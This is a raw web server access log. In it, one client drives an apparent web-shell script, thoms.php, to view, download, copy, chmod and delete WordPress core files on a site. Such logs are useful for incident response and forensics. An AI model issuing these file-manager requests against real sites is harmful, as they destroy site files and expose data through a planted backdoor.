45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fabilities-api HTTP/1.1" 200 13348 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fabilities-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /bossini.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?chmod=js&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=js&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?chmod=abilities.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:45 -0400] "GET /thoms.php?dl=rewrite.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /bossini.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fbookmark.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11844 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fbookmark.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?chmod=sitemaps&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=sitemaps&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-locale.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php HTTP/1.1" 200 13329 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-paused-extensions-storage.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?dl=block-template-utils.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-files.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-files.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /bossini.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:46 -0400] "GET /thoms.php?dl=feed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 200 12322 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fatomlib.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fatomlib.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?chmod=block-i18n.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=block-i18n.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?chmod=canonical.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=canonical.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php HTTP/1.1" 200 61397 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-xmlrpc-server.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:47 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:48 -0400] "GET /bossini.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:48 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 200 29243 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:48 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 200 79929 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:48 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:48 -0400] "GET /thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-text-diff-renderer-inline.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:48 -0400] "GET /thoms.php?dl=post-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?dl=post-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fwp-diff.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11827 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fwp-diff.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:48 -0400] "GET /thoms.php?dl=style-engine.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59183 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-section.php HTTP/1.1" 200 15633 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-customize-section.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?chmod=load.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?del=class-wp-customize-panel.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-panel.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fview-config.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fview-config.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fview-transitions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fview-transitions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /bossini.com.tw/wp-includes/class-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-curl.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /bossini.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?dl=version.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59151 "http://163.245.207.76:443/thoms.php?dl=version.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /bossini.com.tw/wp-includes/class-wp-roles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /bossini.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?del=class-wp-block-list.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-block-list.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:49 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59159 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 200 12633 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /thoms.php?chmod=Requests&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 200 13892 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-network-query.php HTTP/1.1" 200 17955 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-network-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /thoms.php?dl=abilities.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /thoms.php?dl=atomlib.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /bossini.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /thoms.php?del=class-wpdb.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wpdb.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:50 -0400] "GET /thoms.php?dl=icons.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fpomo HTTP/1.1" 200 13553 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fpomo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=embed.php HTTP/1.1" 200 24793 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /thoms.php?chmod=images&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=images&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /thoms.php?chmod=class-wp-customize-panel.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-panel.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 200 14521 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 200 16292 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:51 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-customize-section.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-theme-json-schema.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /thoms.php?del=PHPMailer&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59070 "http://163.245.207.76:443/thoms.php?del=PHPMailer&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /bossini.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /bossini.com.tw/wp-includes/template-loader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /thoms.php?del=http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:27:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
